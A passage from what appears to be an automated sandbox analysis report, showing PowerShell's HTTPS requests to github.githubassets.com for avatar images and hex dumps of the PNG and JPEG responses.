1a e3 ee df 56 4f 77 1e 06 67 e6 a0 02 16 30 06 ee 33 14 4a ca 62 51 b4 94 71 11 Data Ascii: HHS^\atGgynG]=A0-TmVu;94nRgr/UK KS]qg@Hv64X=33Q:{B-3-h[>El"0ls!'p\|16D80&d-*'<gF/T }eVOwg03JbQq
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 67 bf f8 f9 48 c0 bf fd 89 9f e4 f2 d1 11 57 86 89 ab c3 c8 e1 34 31 66 c3 03 92 0a 02 24 51 88 c0 d9 6a 23 15 58 ab 72 96 35 96 6c de f5 2e 1c 6d f8 36 8c 56 68 e7 05 56 35 d3 0f 21 5a 77 83 ae 50 8c 68 8b c5 67 72 07 14 17 27 dc 90 80 d4 e0 bf 07 2d 51 35 e5 12 da 2c ce e8 b1 0d 4c 6e f5 ba 68 21 9a 95 c0 2a 13 09 49 5a 89 b5 90 48 fc 93 1f fa 27 7c f9 ab 7f 13 cf b8 ee d9 fc dc fd 3f c7 d7 df fe f5 5c 39 be c2 e1 78 c8 d1 70 c4 f1 70 5c e6 6f fb 83 36 c5 16 2c 7d 39 2f 24 4d f1 b1 1f ab db fe 9d a1 0b ed 86 cb 97 f3 02 78 e5 99 6c 99 88 53 e9 04 d7 ba 9f 1a 97 56 11 0c 68 a5 10 fb 5f d7 fe 20 37 e9 16 31 62 80 d6 b2 ef 82 6e c3 8f 21 4a 0e 61 74 38 cc 86 8e c6 8f de 75 3f 3f 79 f7 83 10 30 64 e7 c8 9c 63 0f 26 84 8c 60 52 0b d0 a2 2a 65 f7 6a 79 c0 2b Data Ascii: gHW41f$Qj#Xr5l.m6VhV5!ZwPhgr'-Q5,Lnh!IZH'\|?\9xpp\o6,}9/$MxlSVh_ 71bn!Jat8u??y0dc&`Rejy+
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 75 90 22 10 66 6e 2e 03 07 88 d4 20 f7 00 16 9d c9 1f 92 1d d3 46 27 c7 5b 8f c1 65 b7 4d 66 9a a3 7b 5d 0f ef 82 93 25 58 1e f2 77 7b 23 6c ef eb 05 07 69 31 7b 25 8b 46 0e c1 f5 9a 66 bf 33 bb 1c b6 52 a0 78 37 a7 f6 fc ac 87 43 23 18 93 25 60 90 d2 db b7 b8 fa c5 56 58 b1 4e 76 b2 27 6b 6f 4d 36 8e 7d b1 d3 f5 6e a5 8c dc 58 fa b0 c4 86 78 59 5c 4c 95 e7 fc 5f 8d 16 36 4f b9 da 60 83 ef 44 e1 80 83 a4 f8 f1 5a 71 f8 a9 c6 e4 c1 29 88 b5 1c 00 ff 5d 5a 81 b8 58 27 9f a1 21 35 13 e3 c7 80 8b 14 5b 0f 2d 57 6a 6e c1 fb c1 aa 93 4a 78 6f 0b 89 af 49 e5 ad 3a d7 28 b0 53 6e e1 c6 4f 9b 3e e0 5e e3 d6 a8 0f 91 13 3d d7 03 1a 3c 9c cc 60 39 6a eb 6a 87 86 c8 bd 6d 4d b0 46 2d 76 86 07 76 c1 f5 b1 37 3a f9 ce b0 df 17 7c 7a 73 9a c1 23 6d 68 95 8a 4e 91 4b bb Data Ascii: u"fn. F'[eMf{]%Xw{#li1{%Ff3Rx7C#%`VXNv'koM6}nXxY\L_6O`DZq)]ZX'!5[-WjnJxoI:(SnO>^=<`9jjmMF-vv7:\|zs#mhNK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	49816	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:56 UTC	358	OUT	GET /assets/chaynhq-4c5953025dca.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:56 UTC	700	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7764 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: cc7Ob572wBIh+tpo3MtrTw== Last-Modified: Wed, 14 Aug 2024 19:50:32 GMT ETag: "0x8DCBC9A5B2B4529" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:56 GMT Age: 2929944 X-Served-By: cache-iad-kiad7000125-IAD, cache-ewr-kewr1740051-EWR X-Cache: HIT, HIT X-Cache-Hits: 34074, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 676751b4d7fe9c38baa4ee9570e061edd5ca1356
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 06 00 00 00 52 dc 6c 07 00 00 1e 1b 49 44 41 54 78 da ed 5d 7b 74 53 55 ba 0f b6 25 69 93 92 86 b4 39 49 f3 6a 72 92 9c 24 7d 27 b4 85 96 52 20 a5 50 7a da a6 80 e3 13 1f 73 5d 82 94 19 bc 0e 83 88 22 ca b2 e0 55 59 5e 47 d4 01 54 52 7c cd dc 71 04 1c 14 b1 f8 18 87 71 28 2a 2a 52 90 0b 88 3c c4 cb a0 92 a2 4b 66 46 9d ef ae 1d 04 5b e8 e3 24 3d 39 cf fd ad f5 fd 03 6d cf 7e fc 7e e7 ec fd 3d 15 0a 2c 43 12 5f 9a 26 2d ac 36 b9 c3 6a 53 68 b9 de 37 33 42 04 e7 45 88 e0 3d 11 22 b8 ba c3 52 b5 b1 db d5 f8 46 94 a4 3f 8c 92 f4 de a8 8b 3e c1 50 f7 44 49 fa 7d f4 bb 1d e6 aa f5 e8 6f 45 88 e0 d2 08 11 9c db 9a e5 bc 3a ac 36 55 87 d5 26 87 25 45 39 0c ef 00 16 4e c4 9c a2 8a 01 bd 55 Data Ascii: PNGIHDRRlIDATx]{tSU%i9Ijr$}'R Pzs]"UY^GTR\|qq(**R<KfF[$=9m~~=,C_&-6jSh73BE="RF?>PDI}oE:6U&%E9NU
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 62 34 e7 e5 f6 51 62 f2 13 7c 21 b8 6a 74 a8 7a 43 97 3d b4 59 c8 0b 77 c8 4b 43 d6 00 17 c1 73 4a 6a 74 70 d2 c3 ee 57 e0 4f 3c 10 00 99 7d 2d ea c1 bf 7a 84 3a 13 3e f3 36 89 89 00 d0 61 ae 5a 25 b4 a3 cf 6d 62 58 b8 fb 1c e5 8c de 88 f7 d8 83 ac 3e 77 47 70 e0 68 d0 4b 86 0d 83 7d c5 ec 9e c1 17 5a 8a 19 cd 15 dd 11 c4 e8 2d 5e 36 d2 ff 33 41 80 7f 1d 51 3a 43 2c 01 6e 5f 7a 9a c0 3b 42 3f 28 28 46 a8 d2 61 97 9f 5d 2f 69 59 b6 b9 df e7 4d 30 e6 b1 eb ed a5 a6 42 fa 70 e5 a0 f3 2c d5 11 31 2b 91 48 93 69 4e 95 29 b3 2c bc 82 7f ae 36 af 26 4a 36 7e 2f a6 85 db 40 85 18 bd 19 3d 59 39 70 9c c5 a3 c1 df 3c 93 41 a7 ba f8 08 66 48 d7 c0 4e cf 64 56 e7 38 23 d7 cd 68 8e 1d 54 ad d8 3b d8 74 f0 da b4 a3 db 49 77 8a 71 e1 68 0b 33 80 3c e0 28 67 f5 b9 ef fa Data Ascii: b4Qb\|!jtzC=YwKCsJjtpWO<}-z:>6aZ%mbX>wGphK}Z-^63AQ:C,n_z;B?((Fa]/iYM0Bp,1+HiN),6&J6~/@=Y9p<AfHNdV8#hT;tIwqh3<(g
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: d0 ea 04 ac 0e ff 61 f1 27 74 d1 6b b5 17 89 1a f8 bd 80 38 62 24 bc 4b 25 7e 1c bc c7 59 16 d7 f3 6c 99 59 d0 ce 83 55 2e ce 63 50 3d 13 eb cf 73 42 1b f8 a7 fe 26 a8 26 ec 8c 37 63 a1 33 be 2f 00 aa fc 50 2b c2 23 cf 60 8a 4a 23 1e f1 27 76 01 7d ba 64 32 e3 e7 a0 4b f2 51 7f b3 e0 1d 77 11 22 f8 d0 a0 35 3e a3 a4 30 93 5e 50 bd ce 75 d4 78 28 19 69 1c 74 43 de 88 23 ef 15 bd f9 1b 0d 0e c9 81 ff 9c 56 67 5b 12 02 27 f2 6a e7 aa 47 0c 9c 60 9f 63 89 1d 55 bf f4 88 24 94 83 a4 bb 06 0b 7d 18 2d f8 f2 86 ee c6 7e 63 4f 50 da df 53 fe 89 71 fd bd ab 72 29 c9 82 bf e7 97 60 67 02 d6 b1 4d 9e 89 7d a6 8b a2 23 e9 2a 0e 7c 2f c9 d0 b0 da 48 0e d4 d9 65 b1 98 a2 0f 97 e4 05 61 62 8e 0d 2a 09 1b cc b1 16 c2 47 de a9 f1 99 5d e3 3c e7 8a 59 3d 23 46 c2 11 6f fc Data Ascii: a'tk8b$K%~YlYU.cP=sB&&7c3/P+#`J#'v}d2KQw"5>0^Pux(itC#Vg['jG`cU$}-~cOPSqr)`gM}#\|/HeabG]<Y=#Fo
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: d6 ac 59 f0 ed b7 df c2 cd 37 df dc eb 8c dc 97 05 a8 a7 f0 99 21 56 6d b0 ca 99 00 74 54 ca 13 9c ef e0 b6 c3 23 b2 e8 fc f0 c3 0f 31 50 7f f8 e1 87 31 cb 8f 52 a9 84 2b ae b8 62 40 02 3c fc f0 c3 bc 11 e0 e7 72 ad 0e 81 d2 22 b9 70 84 f1 a9 4f f1 90 10 b3 67 cf 9e 5e e0 3e 75 ea 14 7c f0 c1 07 03 12 e0 f8 f1 e3 bc c5 2d c9 35 21 e6 ac 23 8c 83 50 08 3e 75 6f 41 33 e7 80 5a b5 6a 15 24 22 28 54 9a 0f 02 fc b5 b0 41 ae 04 d8 cf 59 30 1c 9f 4a 59 b8 ad 08 37 7b f6 ec 84 08 30 73 e6 4c ce c1 9f ae 52 c1 17 1e b9 56 8b 3e 1b 0c b7 4d ea 13 5d 40 06 39 05 d5 a8 51 a3 12 22 c0 8a 15 2b 38 27 00 9f 5e 58 fe ef 00 8d 6f 2a f6 da 43 2f 4a 7d a2 fb 0a c3 b1 a4 0f ae 40 85 9c 6f e7 d2 1e e3 91 ce ce 4e ce 09 70 77 5e 50 b6 04 88 25 c4 48 3d 25 f2 9c 4e 34 d8 39 05 Data Ascii: Y7!VmtT#1P1R+b@<r"pOg^>u\|-5!#P>uoA3Zj$"(TAY0JY7{0sLRV>M]@9Q"+8'^Xo*C/J}@oNpw^P%H=%N49
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: 79 94 50 cc 9f 3b 15 83 c9 0e eb b8 a7 f9 18 dc b3 fe d0 c0 7d c1 86 0d 83 59 ae 52 38 ea e7 c6 ce fc b9 af 19 2c 2c 7a 8a 55 2a 55 ec cd 8f e4 91 47 1e 49 0a 01 9e f1 4f e4 36 cb ce df 0c 57 39 8b 44 73 07 88 18 83 0f 0e 4a 80 65 7a ff b5 7c 0d f0 3a 8b bf cf 05 2c cf b1 c4 3e bd 5c 8f e7 65 4f 88 55 f3 28 2a 95 88 e4 b2 cb 2e 63 1d fc 57 9b 3c bc 01 6b b3 6f 52 cc d3 dc 67 f0 5d 5e 89 60 8e 3f ad 5a 47 fd a0 04 28 57 66 69 a3 2e fa 9f 7c 0d 72 cd 8f bd 67 0b 8d 16 98 44 e4 c1 13 9e 71 ac 59 33 12 d1 bb 1d a3 58 03 29 aa ff 89 ea 86 e6 e6 b2 7c bc d2 e7 c2 09 8a 5f c7 13 0a 33 ff ad a7 1a a6 1a f2 a0 d8 68 85 3a 22 0f 9e a2 c6 0b c7 fc 49 d2 5f 99 53 54 69 0a 26 b2 d7 1e fa 23 4e 98 f8 e9 bc 8b 9a 73 b0 01 d4 cb 2f bf 1c 0e 1d 3a c4 ae 8f 21 53 07 fb 3c Data Ascii: yP;}YR8,,zUUGIO6W9DsJez\|:,>\eOU(.cW<koRg]^`?ZG(Wfi.\|rgDqY3X)\|_3h:"I_STi&#Ns/:!S<
2024-09-30 13:50:56 UTC	874	IN	Data Raw: 65 69 eb bf 5d e7 f2 2b a4 28 ed 86 c0 75 38 87 00 eb 40 31 3e ed 86 c0 4c 85 94 a5 dd 10 b8 56 8e 39 c5 1f 17 b5 c0 bb 25 e1 5e fa 7e 49 38 56 6b 14 83 3f 96 d8 72 46 f2 e0 3f 1f 42 9d e5 2e 96 f2 9d a0 a7 de 4f 8e 06 9b 3e a7 df 33 be 36 43 0d 8b 1d 41 5e 3b 61 0a e1 cc 2f d9 63 4f 7f b2 58 47 52 52 4f a6 f9 bd 8f 79 29 f5 59 d4 28 b9 1e 7b 4e 2d d6 91 4e 85 1c e5 47 13 69 54 aa 9b 5b aa 37 c5 17 f2 40 d5 ca d1 ce 5f a9 90 b3 c4 9c 65 24 7d 5c 6a 9b bb bf b0 25 6e 93 e7 ad ce a0 9c c0 ff 49 58 6d f2 28 b0 9c 0d 9b d8 6e 95 56 82 fd be a2 70 dc 04 f8 b5 4c 08 b0 dd 5a f3 5c 85 32 2b 07 23 ff e2 28 d2 9b a3 24 fd 9d 54 36 da af 33 c4 45 80 4d 92 af 02 4d 9f 59 67 28 bd 16 23 7d e0 7c 02 c9 34 e3 78 d2 3b 9e 31 f8 5b 6c 5e c9 3b b8 44 13 cf 2f 80 cc b2 eb Data Ascii: ei]+(u8@1>LV9%^~I8Vk?rF?B.O>36CA^;a/cOXGRROy)Y({N-NGiT[7@_e$}\j%nIXm(nVpLZ\2+#($T63EMMYg(#}\|4x;1[l^;D/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.7	49817	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:56 UTC	360	OUT	GET /assets/imolorhe-9d771b1d4332.jpeg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:56 UTC	661	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3785 Cache-Control: public, max-age=31536000, immutable Content-Type: image/jpeg Last-Modified: Thu, 08 Aug 2024 18:11:57 GMT ETag: "0x8DCB7D59745BFC8" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:56 GMT Age: 1123136 X-Served-By: cache-iad-kjyo7100048-IAD, cache-ewr-kewr1740074-EWR X-Cache: HIT, HIT X-Cache-Hits: 1432, 2 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 2db439769b632e34b0205bc444606dfdc11b7291
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 00 c0 00 c0 03 01 22 00 02 11 01 03 11 01 ff c4 00 8c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 04 00 01 02 03 05 06 07 08 10 00 01 04 01 03 03 02 05 02 05 03 05 00 00 00 00 01 00 02 03 11 04 05 21 31 06 12 41 13 51 07 22 61 71 81 14 91 15 32 42 a1 c1 16 23 b1 52 62 72 82 d1 01 Data Ascii: JFIF $.' ",#(7),01444'9=82<.3422!!22222222222222222222222222222222222222222222222222"!1AQ"aq2B#Rbr
2024-09-30 13:50:56 UTC	1378	IN	Data Raw: d6 1c 6c 7b 07 fa 89 de d7 59 16 33 07 36 3e eb 99 c8 c0 6e 4e a0 f3 23 8b 60 69 dd de e5 59 39 7b 8a 96 3d ab 83 3f 18 66 6a 24 c7 0b 1c fa e4 f8 1f 95 6c 9a 06 a0 45 91 19 f6 a9 02 d5 39 62 18 db 16 2b 03 5a dd 85 0e 50 99 33 ce 40 77 71 05 2f b5 0e b1 e4 9c 79 32 a3 8e 7c 39 da 5e c7 31 d7 b5 ae fb 1d 9f a8 c6 8d ec 3c b4 13 67 ca e4 3f 88 48 58 63 90 07 b7 9a 76 e1 68 61 6b 62 10 d8 c8 00 6d fb 26 52 15 45 c5 53 37 a5 c2 83 7f 52 26 9f 7d 96 46 5c 58 3b b3 d2 3b f0 46 ca dc 8d 47 d4 8e e3 79 20 f0 16 26 4c ee 27 73 fd d5 79 1f e8 be 0a b9 67 7f f0 af a8 a7 d1 3a 95 ba 7b b2 83 70 f2 9d db da ee 2f fc 2f a2 8e fb f8 2b e2 f8 b2 dd 1c ad 7b 5d 45 ae 04 7d d7 d3 7f 0c fa ae 3e a1 e9 c8 a2 95 c3 f5 50 0e d7 0f 70 3c aa a5 17 d9 56 54 bb 47 62 f0 87 78 45 Data Ascii: l{Y36>nN#`iY9{=?fj$lE9b+ZP3@wq/y2\|9^1<g?HXcvhakbm&RES7R&}F\X;;FGy &L'syg:{p//+{]E}>Pp<VTGbxE
2024-09-30 13:50:56 UTC	1029	IN	Data Raw: 9b dd 50 5c 93 e4 54 17 fc d7 c0 3e 15 b0 41 48 4f 76 fc ee 87 7b 80 2a 6f 75 84 3b de 99 71 d8 c7 84 04 ea 00 a9 20 7a d4 c9 05 25 04 f6 94 74 c9 70 9c 72 a3 69 ed 01 d4 84 f6 07 b0 b4 a0 19 1b b1 a4 3b 7c a4 ad 00 a1 3b 7b e3 3e f4 9e 12 6b 83 26 b3 4d 1c d1 bf 94 0c 72 58 58 40 3c 7b ac cc b9 81 3b 10 a1 30 2d 7b 85 94 2b c5 95 ba 10 5d 9e 3f 3b 6a d1 51 71 25 32 72 37 4a 96 83 15 0c 92 7a 48 a8 01 92 4e 92 84 18 2e bf e1 de 60 c2 ea 98 1c e3 40 ed c7 ba e4 69 69 68 b9 07 13 54 82 51 b1 0f 1b aa f2 2b 8b 45 b8 78 9a 3e a9 73 c1 dc 15 51 92 b6 25 0f 8d 38 97 1a 19 01 14 58 09 fa ec 93 9c 39 21 72 f6 d1 d0 a2 4e 7e f7 b2 a9 ef f9 54 1e fd b7 55 3a 44 7e 79 0d 0f df ba 1e 57 ee 69 27 c8 41 e5 09 91 38 8e 27 3c 9e 01 2a 49 aa a1 92 b6 78 ba 7b 4c 92 63 d3 Data Ascii: P\T>AHOv{ou;q z%tpri;\|;{>k&MrXX@<{;0-{+]?;jQq%2r7JzHN.`@iihTQ+Ex>sQ%8X9!rN~TU:D~yWi'A8'<Ix{Lc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49818	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:57 UTC	362	OUT	GET /assets/dayhaysoos-c50659cac73b.jpeg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:57 UTC	701	IN	HTTP/1.1 200 OK Connection: close Content-Length: 6361 Cache-Control: public, max-age=31536000, immutable Content-Type: image/jpeg Content-MD5: smPUn3JDQxuheLD5zYsckA== Last-Modified: Wed, 14 Aug 2024 19:58:14 GMT ETag: "0x8DCBC9B6EB6FB1D" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:57 GMT Age: 1755847 X-Served-By: cache-iad-kiad7000051-IAD, cache-ewr-kewr1740078-EWR X-Cache: HIT, HIT X-Cache-Hits: 11188, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 7ff09311ba64e194150688ed15149552606b68b5
2024-09-30 13:50:57 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c2 00 11 08 00 c0 00 c0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 05 00 01 02 04 06 03 07 08 ff da 00 08 01 01 00 00 00 00 f7 54 93 24 c9 24 92 49 26 4c 9b ba 49 32 49 32 49 72 87 74 99 33 58 49 26 49 26 49 50 0a 2c 9e 9d d3 07 ce fa 02 49 24 ce c9 Data Ascii: JFIF $.' ",#(7),01444'9=82<.3422!!22222222222222222222222222222222222222222222222222"T$$I&LI2I2Irt3XI&I&IP,I$
2024-09-30 13:50:57 UTC	1378	IN	Data Raw: bd 21 db 8c f3 49 f1 9a b1 ee 44 83 6f ea 0b cf f6 a8 7d 9b ba 98 83 23 ed 1f 7a 8b d9 cb 15 8c 06 42 cd e7 9a 7f 66 ad f1 be d6 47 82 61 d1 81 af 67 da e9 21 7b 7b d3 ba 65 39 0f fc cb 57 03 32 7f 4a b9 1f 21 aa 60 70 b8 ab 64 f9 35 a7 ff 00 0d fd 7d e7 a5 38 cc ef e7 9a d9 f7 ab 0b d7 b7 9e 68 d6 28 b6 80 1b 86 af f1 59 cc a8 eb 6c 36 3f 0b de e6 9f 56 90 44 f8 85 94 e7 04 f9 50 79 dc f7 f7 71 e7 4a 5f 19 e6 96 66 53 e3 56 d2 19 23 97 77 9f 14 24 8d 64 0a 7a e3 35 aa 4a ba b6 b0 a9 1b 37 63 1a fd 27 c0 f8 d6 99 d9 c5 6d b1 54 02 29 a4 22 91 b7 52 9a 8d ca b0 2b d4 53 b0 90 ab 2f 42 33 57 9f c3 b5 33 6d db e5 50 10 61 35 61 fc 30 f5 3e f3 d2 9b 1d a3 9f bd 71 5b 43 5c 43 de b7 6c 25 08 8f c3 e4 46 99 ed 7a ab d4 88 43 ce 04 2f 80 37 00 af e3 51 c1 39 45 Data Ascii: !IDo}#zBfGag!{{e9W2J!`pd5}8h(Yl6?VDPyqJ_fSV#w$dz5J7c'mT)"R+S/B3W3mPa5a0>q[C\Cl%FzC/7Q9E
2024-09-30 13:50:57 UTC	1378	IN	Data Raw: cb 5a 90 5b 88 87 8e 05 5c c7 f0 b2 93 56 57 f6 d7 88 15 dc 09 07 9d 43 d8 2a ab 65 46 6a 7b a7 78 24 f8 2d 8f 2a 73 df e0 53 fb 53 3c 17 06 1d 42 d5 a1 23 f9 5b 34 d7 56 d3 a2 15 95 30 79 04 9a bf bc 8a 18 c0 69 22 2b e1 cd 0d 62 df 01 55 93 9e b9 35 0e ad 6f 1a 67 72 7d bb d4 9a 94 2e e2 46 68 f2 7c 43 51 d4 ed a4 6e cc 6d 2a 3e f4 75 58 23 88 0d e2 a0 b8 8e 39 1a 4e ef 3f 7a be 8e e2 74 cd a4 ca ac 4e 79 a8 34 c8 c4 a0 a8 65 f4 35 73 6a 64 1b 7b 59 79 eb de ad 0e d1 6c 27 62 92 3e 0f 81 e6 9a 71 b7 82 28 dc 3e 7a 0a 5b 83 93 b9 28 4e bf cb 57 b7 6b 1d b4 8d 80 b8 1d 49 c5 5c fb 4a d8 3b 56 36 20 75 19 c0 ad 03 50 97 53 6b ee da 42 db 76 ed 1e 5d 6b 54 5c 82 00 e4 52 68 77 53 83 34 47 6b 78 55 a6 99 ac 5c 32 24 d3 bc 51 83 cb 13 5a 9e a5 6d a0 d8 fc 35 Data Ascii: Z[\VWCeFj{x$-sSS<B#[4V0yi"+bU5ogr}.Fh\|CQnm*>uX#9N?ztNy4e5sjd{Yyl'b>q(>z[(NWkI\J;V6 uPSkBv]kT\RhwS4GkxU\2$QZm5
2024-09-30 13:50:57 UTC	1378	IN	Data Raw: 2d d4 5b 35 0e 1e 48 e4 b9 40 a5 82 5c c6 6e 28 9c 46 58 2a e6 d7 6f d4 65 08 a6 ef f3 1c ec 16 64 b8 f2 8f 16 d7 cc 6c 3c 2f dc 2a 5e 51 10 5b e2 64 e9 62 d5 d1 20 d2 4c 70 dd a8 10 86 68 e4 8a 76 bb c0 fc 43 6e 12 34 0a 55 3f 1f 72 96 d9 29 55 8f 6e df 33 39 63 20 a7 e2 17 60 65 ad c2 8e 70 45 66 13 8a 24 63 00 37 ca 3b e7 52 96 2a f6 3f b8 ab cd d4 61 de ae 0a f9 3f 7e bb 21 50 bb 38 8a 6c 7d cb fc 0c e3 aa cf bb 2f c0 34 52 dc da 42 b3 17 25 8a 2e 72 ef 47 12 b0 5c ec 18 29 4d 39 84 0c 29 d9 e4 8a dd a5 4b d9 2b 2f 83 a0 5c 2b bb a3 e2 3a fa 6a c2 98 a6 18 e3 37 1a ab a6 0a 57 90 3b f1 1c ac 71 66 65 a8 2a f1 fb 88 93 c3 a8 b0 2d 3d c3 fe 8e 65 7a 6c f6 94 21 cd f3 0a 61 6e 15 10 b1 43 41 88 0b 06 02 83 57 a3 a2 52 97 c2 51 db de 14 a0 ab 42 e1 c7 53 Data Ascii: -[5H@\n(FXoedl</^Q[db LphvCn4U?r)Un39c `epEf$c7;R?a?~!P8l}/4RB%.rG\)M9)K+/\+:j7W;qfe-=ezl!anCAWRQBS
2024-09-30 13:50:57 UTC	849	IN	Data Raw: 8b b4 27 32 be 63 b2 41 e0 69 70 4c 3a 0b d5 91 2c 0b 53 95 40 19 5e c1 d4 9f a8 32 9c 7f c2 5c 38 f9 80 18 f7 73 08 aa dc 0c c0 d4 4c 40 e6 29 65 26 a3 5a 22 a4 73 b8 8c 1c 8c 13 97 ee 2e 8f c9 4f cc 25 72 c5 a6 f7 2c 09 07 35 19 8e ca dd 85 f2 cc 05 32 e1 18 9a 06 fa 4b 1c 83 2b 8c 45 5a 52 5e e9 5a 3e a1 7e 64 7e df f9 2e bb 99 39 82 2d ac 37 39 f8 99 3c 45 06 a1 66 0d 37 c1 36 8d 9a 3e e3 a6 2a bd 7e 15 3f e5 fd 4a 86 93 f9 84 66 75 04 ac c6 2c 3e 18 a0 26 4e db 94 3a 5e 0a 95 25 03 ef 01 ad 19 ef e2 fe cf 88 ee 2a 53 92 65 9f 8b 8e 1b 62 fa 0c cb c1 14 8b 99 78 87 4c 7f 68 35 2d 77 cc 56 48 c6 34 07 f8 7b cc 2b 10 24 60 e5 50 3e 60 15 8c 70 4c db be ef d5 46 a6 7d a9 71 18 58 b2 a3 a8 f2 45 6f e7 fc 7d e3 b4 96 19 52 2f ea 50 07 11 6d 9b 9c cc 37 b8 Data Ascii: '2cAipL:,S@^2\8sL@)e&Z"s.O%r,52K+EZR^Z>~d~.9-79<Ef76>~?Jfu,>&N:^%SebxLh5-wVH4{+$`P>`pLF}qXEo}R/Pm7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49819	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:57 UTC	361	OUT	GET /assets/yyx990803-e11c7b140b17.jpeg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
